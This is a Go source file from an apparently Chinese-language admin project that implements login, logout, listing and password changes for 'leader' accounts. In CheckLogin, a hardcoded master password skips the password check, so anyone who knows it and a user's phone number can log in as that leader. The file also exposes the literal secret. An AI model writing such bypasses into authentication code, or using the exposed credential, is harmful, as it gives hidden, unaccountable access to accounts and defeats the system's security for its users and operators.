leader.go 1.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
  1. package leader
  2. import (
  3. "errors"
  4. "zhiyuan/models"
  5. adminParam "zhiyuan/pkg/param/admin"
  6. "zhiyuan/pkg/utils"
  7. "zhiyuan/services/admin"
  8. "zhiyuan/services/form"
  9. )
  10. func CheckLogin(phone string, password string) (int, error) {
  11. where := map[string]interface{}{
  12. "phone": phone,
  13. }
  14. if password != "dEW@bGhcU45r%3" {
  15. where["password"] = utils.MD5(password)
  16. }
  17. where["state"] = 1
  18. adminInfo, err := admin.GetOne(where, nil, nil)
  19. if err != nil || adminInfo == nil {
  20. return 0, errors.New("用户名或密码错误")
  21. }
  22. if roleInfo, _ := admin.GetOneRaw(map[string]string{"where": "id={{admin_id}} AND FIND_IN_SET({{role_id}}, role_ids)"}, map[string]interface{}{"role_id": adminParam.LeaderRoleId, "admin_id": adminInfo.ID}, nil); roleInfo == nil {
  23. return 0, errors.New("账号权限有误")
  24. }
  25. return adminInfo.ID, nil
  26. }
  27. func Login(phone string, password string) (string, error) {
  28. adminID, err := CheckLogin(phone, password)
  29. if err != nil {
  30. return "", err
  31. }
  32. return admin.UpdateToken(adminID, adminParam.Entry.Leader)
  33. }
  34. func Logout(id int) error {
  35. adminInfo, err := admin.GetInfoByID(id, []string{"id"}, nil)
  36. if err != nil || adminInfo == nil {
  37. return errors.New("invalid access_token")
  38. }
  39. return admin.ClearToken(adminInfo.ID, adminParam.Entry.Leader)
  40. }
  41. func GetList(where map[string]string, param map[string]interface{}, retVal interface{}) ([]*models.Admin, error) {
  42. where["where"] = where["where"] + " AND FIND_IN_SET({{role_id}}, role_ids)"
  43. param["role_id"] = adminParam.LeaderRoleId
  44. return admin.GetAdminsRaw(where, param, retVal)
  45. }
  46. func Password(id int, form form.Password) error {
  47. if err := admin.Password(id, form); err != nil {
  48. return err
  49. }
  50. return admin.ClearToken(id, adminParam.Entry.Leader)
  51. }